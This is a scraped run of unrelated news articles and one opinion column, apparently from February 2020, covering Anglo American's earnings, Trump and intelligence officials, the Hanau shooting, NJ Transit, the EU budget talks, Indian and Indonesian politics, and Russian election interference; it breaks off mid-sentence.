PGMs were on a tear through 2019 on the back of tightened automobile regulations and generally higher precious metal prices. Iron ore prices were also up due to Vales production drop. Anglo American Underlying Group EBITDA The average realised FOB iron ore price for Kumbas iron ore increased by 35%, outperforming the market index owing to its higher iron content and relatively high proportion of lump ore. The price achieved for the PGMs basket increased by 27%, largely due to palladium and rhodium, which recorded increases of 48% and 73% respectively. The positive impact was partly offset by decreases in the realised prices for export thermal coal (30%), metallurgical coal (12%), and copper (4%), wrote the company. The diamond business was terrible, with revenue from Anglos subsidiary, De Beers, dropping 45%. The company blamed shifting consumer trends for the fall. Commenting on the results, CEO Mark Cutifani said the company benefited from product diversification with strong precious metals and iron ore prices offsetting weakness in diamonds and coal. On Thursday, President Donald Trump railed at the Oscars for awarding its highest honors to a foreign film. He then installed an acclaimed insult comic with no national intelligence experience as his acting director of national intelligence, because he prefers hearing from intelligence directors who tell him what he wants to believe as opposed to what is happening. He also indicated that when he threatens judges and jurors involved in federal criminal cases its OK because he has First Amendment needs that transcend the demands of rule of law. In other words, in the span of a few days, weve moved from unitary executive to peak Lear-wandering-on-the-heath executive. The only remaining operative question is: Who will be rewarded for loving the king as much as the king demands? Advertisement Advertisement Advertisement Advertisement The American constitutional order is comprised of two camps in this moment: the presidents enemies and the presidents staffers. Having asserted this week that he is the chief law enforcement officer of the United States, and having previously concluded that the Constitution gives him the right to do whatever I want, the president has carved the world into the only two categories he comprehends: his interchangeable fixers and his mortal enemies. Attorney General Bill Barr, who auditioned for his position by offering himself up specifically as a fixer, has tried as valiantly as possible to get the president to stop tweeting about ongoing criminal matters. He even said he might quit if the president didnt stop treating him like the presidents pool boy. Needless to say, he didnt quit, and is, as a formal matter now, the presidents pool boy. Advertisement Advertisement It would demand a smaller ego for Donald Trump to recognize that he was already a pawn in 2016 and is still a useful pawn in 2020. Even when they depart, nobody ever stops being on the presidents roster of lifelong staffers. Not Don McGahn, not John Bolton, not John Kelly, and not Hope Hicks. Some of them leave the White House and then some drift back to the White House, emptying ashtrays and hampering attempts at obstruction, but theyre forever on staff, lashed to the president by way of elaborate (unenforceable) NDAs, or legal claims of absolute privilege, or by their own paradoxical beliefs that they are not in fact essential to the plot, but also that you should definitely preorder their book about the experience on Amazon. Advertisement Staffers are frequently upbraided when they are not appropriately servile. Jeff Sessions is not sufficiently loyal and so is replaced by a Bill Barr. Former acting Director of National Intelligence Joseph Maguire, who helped cover up the Ukraine scandal, is not sufficiently loyal and is to be replaced by an internet troll who will be a part-time ambassador to Germany. Because offering truthful information about Russian threats to the 2020 election indicates disloyalty, the only staffers who can remain on the payroll are those who remember to tell the emperor that his waistcoat is superb. This is pretty standard King George III territory, all bowing and scraping and insisting that the sovereign simply cannot be made to understand that there are rules and procedures, until the rules and procedures stop mattering at all. Advertisement Advertisement Advertisement Judge Amy Berman Jackson deserves immense credit for taking 45 minutes in her sentencing of Roger Stone on Thursday to remind the president that she actually isnt on his staff. In her insistence that words have consequences and truth still matters and undermining institutions threatens to topple liberal democracy itself, she was uncompromising about the need for law, neutral arbiters, congressional oversight, and proportionality. The president didnt understand any of this. Instead, he reminded her that he has limitless pardon power that he will deploy when the time is right. Time and again, we are given to understand that Donald Trump simply does not grasp the fact that the Department of Justice isnt his personal law firm. It seems everyones just given up on attempting to change his mind. We are all in agreement: Hes the only arbiter of his constraints. Spoiler: He doesnt believe in constraints. Advertisement Advertisement Advertisement Advertisement It is ironic, one supposes, that the man who believes himself to be unconditionally empowered has somehow allowed himself to be a purely transactional bit player in a larger Russian scheme to foment mistrust of U.S. election systems. It would demand a smaller ego for Donald Trump to recognize that he was already a pawn in 2016 and is still a useful pawn in 2020. But, having surrounded himself with those who see their role as limiting the flow of unhappy news to him, the fact that he cannot understand how little he understands has become the central feature of his presidency. As the New York Times push alert for its news story on Russian interference put it yesterday, Russia is aiding President Trump in the 2020 election, intelligence officials told lawmakers. Mr. Trump complained Democrats might exploit the news. That extraordinary pairing of sentences now feels rather normal. The constitutional universe is finally shrunk down to the size of one mans ability to understand the constitutional universe. Advertisement Advertisement Donald Trump is very dissatisfied with Brad Pitt, bad cops, his intelligence agencies, congressional intelligence briefings, a Roger Stone juror, and the fact that they just dont make films like Gone With the Wind anymore. Because this is the scope of his constitutional aperture, the world is formally split into friends and enemies, loyalists and spies, the underlings and the other, fired underlings. In this one sense only, Donald Trump was wrong about the limitless reach of his own Article II powers: Yes, they are seemingly infinite, but the rest of us occupy a world that is ever more tragically constrained by the failures of his imagination. A former Nomads bikie has been locked up for having sex with a 12-year-old girl he met at a Sydney railway station. Husa Hasanovic, 27, pleaded guilty to having sexual intercourse with a child aged between 10 and 14. The father-of-two, who was a Sergeant at Arms for the Nomads, met the girl at train station on February 14, 2019. Husa Hasanovic, 27, pleaded guilty to having sexual intercourse with a child aged between 10 and 14 Hasanovic said the girl approached him for a cigarette and he spoke to her at the station and while on a train. He then lead her to a Chester Hill home, in Sydney's west, and sexually assaulted her. The ex-bikie claimed asking for a cigarette was not something one would think a 12-year-old would do and she was not in her school uniform, despite it being a school day, news.com.au reported. On Friday, the District Court heard the 27-year-old was using cocaine and drinking heavily at the time of the assault. The court was told Hasanovic was 'shunned' from the bikie gang following the offence. 'They now refer to him as an ex-Nomad,' Judge Robyn Tupman said. The court was told the Bosnian-born father had a 'dysfunctional' upbringing and dropped out of school at 15. Hasanovic was sentenced to two years and six months behind bars, with a non-parole period of 18 months. German ministers promised on Friday to ramp up security and put more police on the streets to quell public fears, two days after a racist gunman killed nine people. Thousands joined vigils on Thursday night to show solidarity with the victims of the right-wing extremist attack at a shisha bar and cafe in the city of Hanau, which sparked debates over gun laws and protection of migrants and minorities. Announcing an "increased police presence" at mosques, train stations, airports and borders, Interior Minister Horst Seehofer said right-wing extremism was the "biggest security threat facing Germany". "The police have told us there'll be a patrol car here for at least a few minutes every Friday during prayers, so people feel safe," Hanau mosque head Memduh Emdef told AFP. Seehofer said the far right had left "a trail of blood" in recent months -- two people died in an attack on a synagogue in the city of Halle in October and a pro-migrant politician was murdered at his home in June. Separately, 12 men were arrested across Germany a week ago on suspicion of planning attacks on mosques aimed at bringing about "a civil-war-like situation" in Germany. Late Wednesday, the Hanau gunman opened fire on unsuspecting patrons at a shisha bar and cafe at two separate locations, killing nine people -- all with migrant backgrounds -- and wounding six more, including one gravely. Police found the suspect and his mother shot dead in his flat hours later in an apparent murder-suicide, also recovering weapons and ammunition from the home and his car. "Muslims in this country are afraid not only for their mosques, but for their children and families," Zekeriya Altug of the Muslim Coordination Council told reporters in Berlin following Seehofer's announcement of tougher security measures. "It's up to the authorities to ensure Muslims' security... politicians continue not only to play down the problem, but to keep mum about islamophobia," Altug added. - 'Time bombs' - Seehofer insisted that "in this government... no-one is blind" to the threat from the extreme right. He and justice minister Christine Lambrecht pointed out that Germany has updated its law on firearms licensing in recent weeks and a new bill targeting online hate speech is being considered. In December, Seehofer also announced hundreds of new posts for federal police and security services to strengthen surveillance of the far-right scene. But he warned that, "despite all our efforts, we cannot completely rule out such terrible crimes". Federal police chief Holger Muench said "around half" of those who carry out attacks with extreme-right motivations were previously unknown to his officers. The suspects in both the Halle synagogue attack and the Hanau shootings appear to have been radicalised largely online, publishing racist screeds only shortly before their attacks. "The problem is perpetrators who act almost without any structure behind them, practically with only an internet connection... how can potential perpetrators be identified, that's the big challenge," Muench said. Such people were "time bombs", justice minister Lambrecht said. King's College London counter-terror expert Peter Neumann told Die Welt daily that "what is already happening regarding jihadism must happen regarding right-wing extremism". "Security services should infiltrate and surveil forums" where people with far-right leanings gather, he said. - Questions for AfD - The Hanau shooter legally owned firearms, dragging Germany's gun licensing laws into the focus of public debate. People demonstrating Thursday night at Berlin's Brandenburg gate held signs calling to "disarm fascists". There are thought to be around 5.4 million weapons in circulation in Germany, according to Bild newspaper. Increasing numbers of guns are being seized from radical-right suspects, mounting to 1,091 in 2018 compared with 676 the previous year. Even members of the Chancellor Angela Merkel's conservative CDU party have argued for tougher controls, in a country where hunting and sport shooting remain popular pastimes. The role of far-right political party AfD, in parliament since 2017, has also come under scrutiny -- some arguing that they provide the ideological foundations for extremists. The anti-immigrant outfit, whose leaders denounce Germany's culture of remembrance for Nazi crimes, should be "placed under surveillance" by security services, Social Democratic Party (SPD) secretary general Lars Klingbeil said. "One man opened fire in Hanau, but there were many who provided him with ammunition," Klingbeil told public broadcaster ARD. In Nigeria, a country where the average income is approximately $120 per month, a gay porn performer can make up to about $550which sounds like a rather respectable living. But in that country, performing in the mostly homemade gay porn videos that generate wide audiences online carries a significant risk: up to 14 years in prison. In 2014, Nigerian President Goodluck Jonathan signed a new law that went by the name, Same-Sex Marriage (Prohibition) Bill. But the law did much more than prohibit same-sex marriage in the West African nation of about 190 million people. Not only does the law prohibit sexual contact between members of the same gender, or cohabitation between sexual partners of the same sex, it outlaws even the public show of same sex amorous relationship, according to Human Rights Watch. Criminal penalties range from between 10 and 14 years behind barsor worse in some of the countrys northern states, which have adopted their own versions of Islamic Sharia law. In those areas, same-sex activity is punishable with death by stoning. Not surprisingly then, a new photo collection by Chuchu Ojekwe that was published Thursday online by Dazed and Confused magazine features some of Nigerias top gay porn stars, with their faces creatively covered by cloth hoods and sheets. The online photo exhibit can be viewed directly at this link. Acting in gay porn is hard for queer guys in Nigeria because it is not legalized, one performer, identified only as Chrissy, told the magazine. Though most Nigerian gay porn videos are shot by the performers themselves using cell phones, they must be filmed at neutral locations. Shooting at home is simply too risky, because the performers scene partner could easily turn informant, handing the address over to the police. But hotel rooms are also dangerous. In 2017 alone, 57 men were arrested in a single Nigerian hotel for taking part in homosexual conduct. Of those 57, according to Dazed and Confused, 47 are now on trial. But according to at least one Nigerian performer who spoke to the magazine, appearing in gay porn videos is no more scary for him than everyday life. Am I scared? Thats a funny question because Im terrified, a performer identified as Justin told the magazine. But I am always terrified. Im gay and I live in Lagos of all places. When I go on a first date, I am scared because I dont know if the person is going to turn out to be a policeman and arrest me. Despite the risks involved, however, the Nigerian queer porn scene is growing, the magazine reports. One performer profiled by Dazed and Confused, Shaun, claims online followers numbering in the tens of thousands and says he earns as much from porn as from his day joband now he plans a move to break into the international gay porn industry abroad. Photo by Godspeed ezenwa / Wikimedia Commons NJ Transits Chief Customer Experience Officer and Customer Advocate has been on the job for close to a year, but riders, transit advocates and a ranking state senator said he represents the company more than commuters and that may be because the role he applied for was originally a public relations job for the company. According to documents obtained by NJ Advance Media, Stewart Mader applied for the job a month before Gov. Phil Murphy signed legislation creating the position in December 2018. The job description he replied to, still posted on Linked In as of Thursday, was laden with public relations responsibilities including serving as the chief spokesperson for NJ Transit and planning and presenting events to ensure optimal exposure of positive information about NJ Transit. Critics, including commuters and State Senate Majority Leader Loretta Weinberg, say Mader hasnt been doing what legislators had in mind when the NJ Transit reform law was written, which created the position. Tweets go unanswered, theres no published phone number for riders to contact him, and commuters say social media videos shot during off-peak hours come off as promotional and tone-deaf to conditions they experience daily. Obviously they were playing a game. They took what was a public relations job and convinced people they hired a public advocate, said Weinberg, D-Bergen, one of the authors of the NJ Transit reform law. He was not hired for the job the law intended. Got the @NJTRANSIT App? Got alerts too? If you're not sure, @StewartMader shows you how, with step-by-step instructions. Take a minute to check, so you're prepared! pic.twitter.com/xwH6CGxHpl NJ TRANSIT (@NJTRANSIT) February 14, 2020 Mader applied for the position on Nov. 19, 2018, a month before Gov. Phil Murphy signed NJ Transit reform legislation that created the position, according to his application package, obtained by NJ Advance Media. He called on heavy hitters as references to get the job, including key people in Gov. Phil Murphys administration, a former DOT commissioner and ex-Port Authority executive director. The job description he applied to said he was to advise top NJ Transit managers, the Department of Transportation and the Governors Office on public issues to manage the message and ensure that NJ Transit, its services and the state are publicly put in the best light. NJ Transit officials said that job description was later refined to include Customer Advocate and Chief Experience Officer, according to Nancy Snyder, an NJ Transit spokeswoman. That refinement eliminated being chief spokesman, media relations and some other public relations duties, according to the job posting NJ Transit provided. The change was made in late 2018-early 2019, officials said. The new description said Mader is responsible for developing metrics to measure, track and report customer experience assessment activities, including issue resolution. A report of his activities is to be included in NJ Transits annual report and he makes monthly reports to NJ Transits customer service committee. Mader was one of five internal and external candidates interviewed, she said. On the application, Mader name-checked various officials, such as Murphys press secretary, who can speak to Stewarts ability to work with elected officials to ensure transit issues are framed constructively and presented in the best possible light. Others, such as Murphys senior transportation policy advisor, a former NJ Transit director, and ex-Port Authority director, were also listed to show how he could generate ideas to improve the customer experience. Mader tapped former PATH general manager Michael Marino to speak about how he worked with staff to work together to deliver accomplishments for customers. But none of the references he provided were asked to detail how he could be an advocate for the hundreds of thousands of riders who use NJ Transit daily. Ill confirm the specific issue today, but having been in this situation myself when riding with customers, the crew was trying their best to resolve the issue and get the train running, and only cancelled once they determined they couldnt fix the issue on the spot. Stewart Mader (@StewartMader) February 20, 2020 Ive never seen anything he does that represents me as a commuter, said Jeff Alexander, who rides the Morris & Essex lines between South Orange and New York and posed more than a dozen questions to Mader on Twitter. He should say these are the things Im working on for commuters. Commuters complained their questions tweeted to Mader on Feb. 3 went unanswered for at least 40 minutes after an Amtrak overhead wire problem required the shutdown of one of two existing 110-year tunnels, causing 90-minute NJ Transit rail delays. Trains in the tunnel had to back out to New Jersey and riders travel times ballooned to multiple hours. Its almost like a joke. We know hes advocating for NJTransit, not for me, said Alexander. "on your commute to Trenton this morning" Morning. To Trenton. Not NYPenn. Yes, I am sure there are issues going AGAINST the flow of rush hour, but given everything we see, NOT EVEN A FRACTION OF THOSE GOING WITH RUSH HOUR! @StewartMader YOU AND THIS IS EVERYTHING WRONG WITH NJT! https://t.co/KWwbqLyi3e Bryan Lord (@BryanTLord) February 18, 2020 A spokesman for Gov. Phil Murphy declined to comment about the hiring process but said the position provides a way for riders to voice concerns . As part of the reform legislation Governor Murphy signed, the position of Customer Advocate and Chief Experience Officer was created to closely monitor the customer experience, and integrate the needs of commuters into NJ Transits decision making process, said Jerrel Harvey, a spokesman. While progress has been made toward this goal, the agency has an obligation to continuously evaluate its processes to ensure that customer feedback is placed at the forefront of its operations. Mader did not respond to emailed questions or a request NJ Advance Media made through NJ Transits public relations department for an interview. NJ Transit officials defended Mader, saying the position was created to comply with the reform legislation to monitor and improve the customer experience statewide at every customer touchpoint. Snyder credited Mader with improving the flow of information from NJ Transit operations to customers through alerts and social media, the recent website and smartphone app upgrades and being on the front lines engaging with customers and seeking their feedback. It seems to me they should hire a real customer advocate, someone the train and bus riding public has confidence in, said Weinberg. It cannot be someone who reports to NJ Transits CEO. It needs to be a customer advocate who comes to the board and reports whats wrong. Whether the customer advocates job description needs to be re-written in the reform law could depend on the outcome of hearings by a Joint Senate panel, created by Senate President Steve Sweeney to investigate NJ Transit, Weinberg said. Mader along with NJ Transit CEO Kevin Corbett and NJ Transits chief financial officer, rail operations head, chief administrator, chief information officer and head of capital projects have been called to testify at Fridays Joint Panel hearing at 11 a.m. in the Statehouse. Only Corbett has confirmed, officials said. Larry Higgs may be reached at lhiggs@njadvancemedia.com. Follow him on Twitter @commutinglarry. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters President Trump's fired and then rehired aide John McEntee asked White House liaisons from the cabinet agencies to identify potential 'never-Trumpers' who could be purged from the U.S. government. Three sources familiar with the Thursday meeting described to Axios what happened, including that McEntee suggested that some of the firings of 'bad people' and 'deep state' would have to take place after the November election. The 29-year-old McEntee also explained how those individuals could be sabotaged in the meantime, saying at the meeting that employees deemed as anti-Trump would be shifted around, denying them promotions. The fired and then rehired John McEntee led a meeting Thursday in which he asked liaisons from the cabinet agencies to identify people across the government who are 'anti-Trump,' Axios first reported President Trump has been emboldened by his Senate impeachment acquittal and has brought back ex-aides, including John McEntee, who he's assigned with leading a purge of 'never-Trumpers' from the federal government Axios had previously reported that McEntee, who had served as Trump's 'body man' before getting canned after he couldn't get a security clearance due to a gambling problem, would be taking over the Presidential Personnel Office. The same report said that Trump was aiming to rid the government of 'never-Trumpers,' with more firings expected. 'Administration officials tell Axios Trump feels hes surrounded by snakes and wants to clear out all the disloyal people,' Axios said. Trump has already started purging individuals who testified before House committees, which led to his impeachment. He removed Lt. Col. Alexander Vindman - and Vindman's twin brother Yevgeny. Both brothers did work for the National Security Council. Trump also ousted E.U. Amb. Gordon Sondland, who also testified. Sondland was a Trump political donor before being appointed to the European Union diplomatic post. Earlier this week, Trump asked for the resignation - and got it - of John Rood, a top policy official at the Pentagon who had certified last year that Ukraine was making enough progress in anti-corruption measures to receive the around $400 million in American aid dollars authorized by Congress. Trump's impeachment saga revolved around a scheme to hold up the military aid in order to pressure Ukraine's president to announce investigations into Hunter and Joe Biden, a political rival of the president. Trump has been emboldened by the U.S. Senate's decision to acquit him on the two articles of impeachment approved by the House in December. McEntee was fired and removed from the White House in March 2018 with the Wall Street Journal reporting that the dismissal was due to the aide having financial problems related to online gamling and his tax filings. McEntee was being investigated by the Secret Service for these issues when he was let go, the Journal said. DailyMail.com reported that McEntee was gambling in real life too. As he would spend time at the MGM National Harbor casino, located just down the Potomac River from Washington, D.C., in Oxon Hill, Maryland. There, McEntee blew $250,000 on roulette. By PTI NEW DELHI: Deputy Chief Minister Manish Sisodia on Friday met Union Finance Minister Nirmala Sitharaman and demanded Delhi's share in central taxes, which he said would help speed up cleaning the Yamuna and make arrangements for sufficient electricity and water supply in the city. Taking to Twitter, Sisodia, who also holds the finance portfolio in the AAP government, said Delhi has not been given any share in central taxes since 2001. In the meeting, he also demanded funds for all the three municipal corporations in Delhi, the same way as Centre gives money to civic bodies in other states. According to a government statement, Sisodia in a letter to Sitharaman urged her to consider providing Delhi a share in central taxes. Sisodia also referred to the erstwhile Article 270 (3) which discussed the share of taxes between the Centre and the Union Territories. "While the Delhi government has to maintain infrastructure that meets world standards, it also has to improve supply of civic amenities to the burgeoning population who legitimately expect employment and a fulsome life in the city," Sisodia said in the letter. Consequently, large investments in education, health, social, food securities, transport, roads and hospitals among others have to be made, the deputy chief minister said. "But for the inadvertent omission of erstwhile Article 270 (3) of the Constitution of India, the Government of NCT of Delhi would be getting its legitimate share in central taxes of at least Rs 7,000 crore per annum with an appropriate annual enhancement like other states to finance the development needs," Sisodia said. He also urged Sitharaman to provide additional Terms of Reference to the Fifteenth Finance Commission to enable it to recommend legitimate share of NCT of Delhi in central taxes. "The NCT of Delhi has the character of a state, and therefore is eligible to be treated at par with other states for receiving a share of central taxes," Sisodia said. In the letter, he also said that the Fifteenth Finance Commission in its report for the financial year 2020-21 has provided one per cent of the divisible pool for the newly formed union territories of Jammu and Kashmir, and Ladakh, and assign the same to the central government. "As you are aware, the union territory of Jammu & Kashmir & the NCT of Delhi are on a similar footing within our Constitution as union territories with legislature. Accordingly, additional terms of reference to the finance commission at the stage would bring justice to the people of the NCT of Delhi and rectify the anomaly created by the inadvertent omission of Article 270(3)," he added. By Sabine Siebold and Kate Abnett BRUSSELS (Reuters) - European Union leaders fell out on Friday over their next long-term budget after fraught talks over a gaping Brexit hole in their joint coffers, with poorer countries demanding more aid and their "frugal" peers determined to rein in spending. Brexit has left the EU short of some 75 billion euros and the 27 remaining EU countries failed to agree on the overall size of the bloc's 2021-27 budget or how to spend it. "We have to acknowledge that the differences are too big still to find agreement," German Chancellor Angela Merkel told reporters after two days of talks in the EU's hub, Brussels. Setting the budget has always been a tug of war, but was fiercer than ever this time because Britain's exit from the bloc last month came amid costly new challenges, from climate change to managing migration and a growing digital economy. The standoff has exposed rifts between countries in the north and south, between east and west, and between more developed and less advanced economies. Net payers dubbed the "Frugal Four" - Austria, Denmark, Sweden and the Netherlands - dug in their heels, demanding that the budget is capped at 1% of the bloc's economic output. Beneficiaries of the generous handouts opposed deep cuts in development aid and farming subsidies compared to those they get under the current 2014-20 plan. "Nobody was really pleased," said Prime Minister Andrej Plenkovic of Croatia, one of the countries seeking more aid. The feud also underlined the fact that, following the turmoil of Brexit that brought them together, the bloc still has many issues that divide it. "These divisions are there. We don't need Britain for that. They were playing out during the financial crisis a decade ago, during the migration crisis, we're now seeing them on budget issues," French President Emmanuel Macron said. 'FRANKENSTEIN PROPOSAL' Story continues After nearly 30 hours of complex negotiations, the leaders were no closer to a deal than when they first convened on Thursday with a proposal to set the budget at 1.074% of the continent's gross national income, or some 1.09 trillion euros ($1.2 trillion). A new blueprint of 1.069% equally failed to impress and was dubbed by one EU official as "a Frankenstein proposal". The "frugal four" stood firmly against a scheme that would allocate one-third for development aid to help poorer regions grow and another third on support for farmers, a key priority for Paris. Germany, the EU's powerhouse and biggest net contributor, was upset about taking the brunt of the Brexit shortfall and coming out worse off than France. Berlin, Vienna and others wanted to see more focus on border management following Europe's migrant crisis of 2015-16, tackling climate change, beefing up security and modernizing the bloc's economy through digital investment. There will have to be a further summit - or summits - to get a deal over the line but no date was set for now. Without an agreement by the end of the year, the bloc will have to freeze much of its projects from 2021. "In the past it has always taken two or three meetings to reach a result," Austrian Chancellor Sebastian Kurtz said. (Reporting by Michel Rose, Marine Strauss, Gabriela Baczynska, Jakub Riha, Sabine Siebold, Kate Abnett, Andreas Rinke and Francesco Guarascio, Writing by John Chalmers and Gabriela Baczynska; Editing by Nick Macfie and Bernadette Baum) Karnataka Chief Minister BS Yediyurappa has said that 19-year-old Amulya Leona, who was arrested for alleged sedition for raising pro-Pakistan slogans at an anti-Citizenship Amendment Act (CAA) rally in Bengaluru on Thursday, should not be given bail as she had contacts with Naxals, said news agency ANI. Yediyurappas no-mercy stance coincides with the right-wing groups holding protests in the state capital against the Bengaluru student. Bail should not be given to Amulya, her father has also said he wont protect her, Yediyurappa was quoted as saying by news agency ANI. Yediyurappa went on to allege that the girl had contacts with Naxals. Its proved now that she had contacts with Naxals. Proper punishment should be given, he added. Amulya, had raised Hindustan Zindabad and Pakistan Zindabad slogan at an anti-CAA rally in Bengaluru where the All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaddudin Owaisi was also invited. She was trying to further articulate the difference between the two slogans when she was prevented from speaking further and taken away by the police. She was slapped with sedition charges under Section 124(A) of the IPC and presented before a magistrate who sent her to 14-day judicial custody and denied her bail. ANI also quoted Karnataka Home Minister Basavaraj Bommai backing the CMs claim of a possible Naxal link. Amulya comes from a place where Naxals have been very active for a long time. She has shared a lot of posts on Facebook. We will investigate these angle as well, he was quoted as saying. The incident has started a political war of words with the state BJP alleging a joint venture between Pakistan and anti-national forces led by @INCIndia (the Congress twitter handle). Senior BJP leader Mukhtar Abbas Naqvi hit out at the AIMIM chief and said he had sowed the poison which was leading to the reaping of vitriolic yields. Nationalist Congress Party (NCP) leader and Maharashtra minister Nawab Malik has alleged that there was a fixed match between AIMIM and BJP for making communal statements, said a news agency. MP govt issues sterilisation order for health workers, or else lose job India oi-PTI Bhopal, Feb 21: The Madhya Pradesh government has issued a circular asking multi-purpose health workers (MPHWs) to meet sterilisation targets or else their salaries would be withheld and they would be given compulsory retirement. The circular has asked each of MPHW to get at least get one man sterilised in this fiscal which ending March 31 or else their salaries would be withheld and they would be given compulsory retirement. The move by the state unit of the National Health Mission has come after the National Family Health Survey-4 report recorded that only 0.5 per cent men were opting for sterilisation in Madhya Pradesh. On February 11, the NHM shot off the circular slugged Extremely Important asked the top divisional officers and district officers including with health department to identify male workers with zero work output and apply the no work no pay principle if they dont motivate at least one male vasectomy least this fiscal. The circular issued by the states NHM Mission Directorstates that MPHWs should mobilise at least five to 10 willing beneficiaries when camps are held in districts. Madhya Pradesh Health Minister Tulsi Silawat and NHM Deputy Director Pragya Tiwari could not be contacted for reaction on the circular. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, February 21, 2020, 16:39 [IST] Share this article Whatsapp Facebook Twitter Linkedin Ivany Atina Arbi (The Jakarta Post) Jakarta Fri, February 21, 2020 13:02 691 7f440ff09e92db75a02bbad2065ca146 1 National campus,conservatism,Indonesia,UNJ Free A picture recently posted on the Instagram account of a student body at the Jakarta State Universitys (UNJ) engineering school has raised not only eyebrows but also the question as to whether students in public universities are drifting further to the right. The picture, posted by @bemftunj, shows photos of female and male students smiling to the camera with bold and bright text showing their names and positions in the organization but while the male students are depicted in sharp focus against a blurred background, their female counterparts are shown in low contrast, thus blending in with the background and creating a somewhat ghost-like appearance. Netizens were upset by the Instagram post, which they considered sexist and misogynistic, but the students said they saw nothing wrong with it. The leader of the student body, Ibrahim Katoni Baurekso, said they had only decreased the quality of the picture for the girls faces based on their own request. It is not true that there is feminism, patriarchy, sexism at UNJ Engineering Schools BEM as claimed by other people, he said. A UNJ student, who only wanted to be called Sani, said people should not be upset about the picture, because covering a womans face was obligatory in Islam, because a womans face was aurat [a body part that should not be exposed]. The incident is not an isolated case. Students in other departments at UNJ have also refrained from exposing the faces of their female colleagues and replaced them with avatars of hijab-wearing girls. Only the male students are shown with their real faces. Scholars say the incident was another sign of growing religious conservatism on campuses that they believe poses a serious threat to national unity and identity. Alamsyah Djafar, a pro-pluralism researcher at Wahid Foundation, contended that Islamic conservatism was thriving in the countrys higher education institutions since the downfall of Soeharto more than two decades ago. The trend, he said, showed no signs of ending. A climate of freedom has emboldened Muslim student activists to flaunt their way of life, in stark contrast to their first emergence in the late 1970sshortly after the Iranian revolutionwhen they were facing Soehartos repressive policies. They now mostly operate under a student body called Lembaga Dakwah Kampus (Campus Religious Propagation Institute, LDK). Almost all renowned public universities in the country, such as the University of Indonesia (UI), Gadjah Mada University (UGM) and the Bandung Institute of Technology (ITB), have their own LDK. The movement is mainly influenced by the Muslim Brotherhoods conservative doctrines, Alamsyah said, referring to a transnational organization aiming to establish a state ruled by Sharia law. Its ultimate goal is to rule the country, he underlined. Alamsyah feared that, if the moderate Islamic groups failed to stem the tide of conservative Islam on campuses, the country could eventually lose its identity. Its just like what happened to [the Islamic Republic of] Maldives, whose current concern is whether to make the burka obligatory, Alamsyah said. Indonesia, he said, was slowly going into that direction, with the burka, niqab (full-faced veil) and hijab gaining popularity in the country, even surpassing that of the countrys national blouse, the kebaya. Noryamin Aini, a lecturer at Syarif Hidayatullah State Islamic University (UIN Jakarta), concurred with Alamsyah, saying that conservatives tended to enforce their beliefs on others. His recent study, published by rights group Setara Institute, found that conservative Islam is dominating religious discourse in public universities. Only 45 percent of respondents have a moderate point of view, he said. The 2019 study interviews 1,000 participants from 10 public universities across the country, including UI in Jakarta, ITB in West Java, UGM in Yogyakarta, Airlangga University in East Java and Mataram University in West Nusa Tenggara. The blurring of female students images at UNJ has sparked anger among feminists for undermining their fight for gender equality. Cofounder of the Support Groups and Resource Center on Sexuality Studies Nadya Karima Melati said in a tweet last week that the move eliminated the role and existence of women from history. Topics : campus conservatism Indonesia UNJ On the occasion of Maha Shivaratri, a Brahma Kumaris center in Kalaburagi has decorated the shivling with the pigeon peas. The 25 feet tall shivling was covered in orange and brown colour of peas along with marigold flowers. 'Shivling' has been decorated with around 300 kg pigeon peas. Toor Dal (Pigeon peas) crop is mainly grown in Karnataka's Kalaburagi. Not only that, a few chains of Rudrakha were also placed vertically on the shivling to make it more eye-catchy for the common masses. The festival of Maha Shivaratri celebrates the grand marriage of the lord of destruction, Shiva -- with the goddess of fertility, love, and beauty -- Parvati, who is also known as Shakti (power). The duo of Shiv and Shakti is considered to be the epitome of love, power and togetherness. The festival marking the initiation of their bond - 'Maha Shivaratri' - is celebrated with great fervour across India. Maha Shivaratri is an annual Hindu festival, which literally means 'the Great night of Shiva', is celebrated in the month of Phalgun (February-March), according to the Panchang, the Hindu calendar. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) United States intelligence officials told lawmakers last week that Russia is interfering in the 2020 election campaign by aiming to cast doubt on the integrity of the vote and boost President Donald Trumps re-election, a person familiar with the briefing said on Thursday. The person, who spoke on condition of anonymity because of the matters sensitivity, said Trumps Republican allies on the Democratic-led House Intelligence Committee questioned the assessment presented by officials of the Office of National Intelligence last Thursday. The Republicans responded as you would expect. They went nuts, said the person. They questioned the intelligence. The briefers warned the committee in the classified briefing that Russia was working to cast doubt on the integrity of the Nov. 3 vote while at the same time boosting Trumps election to a second four-year term. They (the Russians) are favouring one candidate while they do it, said the person, adding that the briefers identified that candidate as Trump. The source declined to elaborate. There was no immediate response to a request for comment from committee Republicans. The New York Times reported on Thursday that a day after the briefing, Trump rebuked acting Director of National Intelligence Joseph Maguire for allowing his staff to appear before the committee. It quoted five people familiar with the matter. Trump said on Wednesday he was replacing Maguire on an acting basis with Richard Grenell, a strong Trump loyalist who has served as ambassador to Germany since 2018. The Times said that in reprimanding Maguire, Trump cited the presence in the briefing of Democratic Representative Adam Schiff, the intelligence panel chairman. He led the House impeachment proceedings against Trump on charges of abuse of power and obstruction of Congress stemming from the presidents dealings with Ukraine. The Republican-controlled Senate acquitted Trump of the charges last month. The White House did not immediately respond to a request for comment. The Washington Post reported that Trump rebuked Maguire in an Oval Office meeting after a Republican ally informed the president of the election security briefing. Shelby Pierson, a Maguire lieutenant who oversees election security, led last weeks briefing for the House committee, according to the Times. The Office of the Director of National Intelligence declined to comment. U.S. officials have long warned that Russia and other countries would try to interfere in the 2020 US presidential election campaign. The U.S. intelligence community concluded that Russia used fake news, cyber attacks and other methods in an operation designed to swing the 2016 presidential election to Trump over Democrat Hillary Clinton. Russia denies the allegation. Trump has repeatedly questioned the finding. At a 2018 summit, he said he found Russian President Vladimir Putins denials of Russian meddling extremely strong and powerful. Former Special Counsel Robert Mueller concluded in a report last year that there was no conclusive evidence of coordination between Russia and the Trump campaign. Mueller was unable, however, to clear Trump of obstructing his investigation. Israel Defense Forces chief of staff Lt. Gen. Aviv Kochavi is known to be more gung-ho about engaging Hamas than his predecessor, Gadi Eizenkot, was. In addition, Israels new defense minister, Naftali Bennett, is aggressive and outspoken on the issue. Yet, ironically, Israel has embarked on an unprecedented honeymoon with Hamas, which has controlled the Gaza Strip for almost 13 years, since 2007. Prime Minister Benjamin Netanyahu, 